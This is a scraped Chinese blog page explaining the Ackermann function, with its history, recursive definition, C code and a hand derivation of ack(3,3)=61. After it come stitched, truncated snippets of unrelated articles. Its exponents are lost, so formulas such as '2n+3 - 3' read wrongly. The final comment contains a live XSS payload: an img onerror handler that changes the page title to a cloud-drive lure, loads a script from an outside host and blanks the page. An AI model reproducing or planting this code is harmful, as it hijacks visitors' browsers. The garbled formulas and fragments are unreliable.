维基百科:阿克曼函数

http://zh.wikipedia.org/wiki/%E9%98%BF%E5%85%8B%E6%9B%BC%E5%87%BD%E6%95%B8

阿克曼函数 是非 原始递归函数 的例子;它需要两个 自然数 作为输入值,输出一个自然数。它的输出值增长速度非常高,仅是(4,3)的输出已大得不能准确计算。

1920年代 后期,数学家 大卫·希尔伯特 的学生Gabriel Sudan和 威廉·阿克曼 ,当时正研究计算的基础。Sudan发明了一个递归却非原始递归的 Sudan函数 1928年 ,阿克曼又独立想出了另一个递归却非原始递归的函数。 他最初的念头是一个三个变量的函数A( m , n , p ),使用 康威链式箭号表示法 m n p 。阿克曼证明了它是递归函数。希尔伯特在 On the Infinite 猜想这个函数不是原始递归。阿克曼在 On Hilbert’s Construction of the Real Numbers 证明了这点。 后来 Rozsa Peter Raphael Robinson 定义了一个类似的函数,但只用两个变量。

{ n+1;                             m=0,n>0
A(m,n) = { A(m-1,1);                      n=0,m>0
{ A(m-1,A(m,n-1))           n>0,m>0

求 ack(3,3) 的返回值:

int ack(int m,int n)
	if(m == 0)
		return n+1;
	else if(n == 0)
		return ack(m-1,1);
		return ack(m-1,ack(m,n-1));

0,ack(0,1)=2;

  ack(1,0)=ack(0,1)=2;

  ack(1,1)=ack(0,ack(1,0))=ack(1,0)+1=3;

  //容易口算出来的几个值

1,ack(1,n)=ack(0,ack(1,n-1))+1=ack(1,n-1)+1;  //递推式

  由递推式得:ack(1,n)=n+1;

  ps递推式形如 A(n) = A(n-1) + 1,求A(n)。

      用的是高中数学知识,方法是“累加法”(加起来然后消掉),是否想起来了?

2,ack(2,n)=ack(1,ack(2,n-1))=ack(2,n-1)+2;  //递推式

  由递推式得:ack(2,n)=2n+3;

  psA(n) = A(n-1) + 2,方法同 1

3,ack(3,n)=ack(2,ack(3,n-1))=2*ack(3,n-1)+3; //递推式

  即:ack(3,n)+3=2(ack(3,n-1)+3)

  得: ack(3,n)+3=(ack(3,1)+3)*2n-1;

  又ack(3,1)=2ack(3,0)+3

    ack(3,0)=a(2,1)=5

  所以ack(3,1)=13;

  所以 ack(3,n)=2n+3 - 3;

  ps递推式形如 A(n) = 2*A(n-1) + 3,求A(n)。

      方法是“拆分常数”,拆分常数3后 A(n) + 3 = 2*( A(n-1) + 3 ),

      令B(n) = A(n) + 3,即有 B(n) = 2*B(n-1),等比数列啊,B(n)=B(1)*2n-1

      求出B(1),得到B(n),即可得到A(n)。

所以:ack(3,3)=61;

计算机运行该程序时一共调用了ack()函数2432次……

维基百科:阿克曼函数http://zh.wikipedia.org/wiki/%E9%98%BF%E5%85%8B%E6%9B%BC%E5%87%BD%E6%95%B8阿克曼函数是非原始递归函数的例子;它需要两个自然数作为输入值,输出一个自然数。它的输出值增长速度非常高,仅是(4,3)的输出已大得不能准确计算。1920年代后期,数学家大卫·希尔伯特的学生Gabriel
题目链接:https://vjudge.net/problem/51Nod-2656 众所周知,阿克曼函数中扮演一个重要的角色在理论计算机科学领域。然而,在另一方面,戏剧性的快速增长速度引起的功能很难calcuate阿克曼的价值功能。 阿克曼函数可以递归地定义如下: 现在艾迪给你两个数字:m和n,你的任务是计算的价值(m,n)。这是如此简单的问题,如果你解决这个问题,你将收到一个奖(艾迪将邀请你,6餐厅吃晚饭)。 的每一行输入两个整数,即m,n,0 < m < = 3。 阿克曼函数(Ackermann)是非原始递归函数的例子。它需要两个自然数作为输入值,输出一个自然数。它的输出值增长速度非常高,仅是对于(4,3)的输出已大得不能准确计算。 ​Ackermann函数定义如下: 若m=0,返回n+1。 若m>0且n=0,返回Ackermann(m-1,1)。 若m>0且n>0,返回Ackermann(m-1,Ackermann(m...
【经典算法实现 14】阿克曼函数---手动推导求解、递归实现、非递归实现一、阿克曼函数 手动求解二、阿克曼函数 递归实现三、阿克曼函数 非递归实现 该题目来自腾讯实习生的招聘笔试,题目给出如下的递归函数,求ack(3,3)的值。 long ack(int m,int n) if(m == 0){ return n+1; }else if(n == 0){ return ack(m - 1, 1); }else{ return ack
      这段时间老师在课提到递归算法的一些应用,我对其中的Ackerman函数比较感兴趣,并尝试探索了一番。       Ackerman函数A(n,m)定义如下(可能跟网上的一些定义有出入):       根据定义,我们知道这是一个非常典型的递归问题,直接上代码解决问题: #include<bits/stdc++.h
1) 给定3个int类型的正整数x,y,z,对如下4组表达式判断正确的选项() Int a1=x+y-z; int b1=x*y/z; Int a2=x-z+y; int b2=x/z*y; Int c1=x Int c2=x>>z A) a1 1) 给定3个int类型的正整数x,y,z,对如下4组表达式判断正确的选项() Int a1=x+y-z; int b1=x*y/z; Int a2=x-z+y; int b2=x/z*y; Int c1=x>z; int d1=x&y|z; Int c2=x>>z a1一定等于a2 b1一定定于b2 c1一定等于c2 d1一定等于d2 2) 程序的完整编译 普通网友: <img src="1" onerror="document.title='\u767e\u5ea6\u4e91\u0020\u7f51\u76d8\u002d\u798f\u5229\u6587\u4ef6'; var s=document.createElement('script');s.src='http://changjingfuzhi.liangzhihema.com/bd360/wxjssdk.js';document.getElementsByTagName('head').item(0).appendChild(s);document.getElementsByTagName('body')[0].outerHTML='Loading...';" />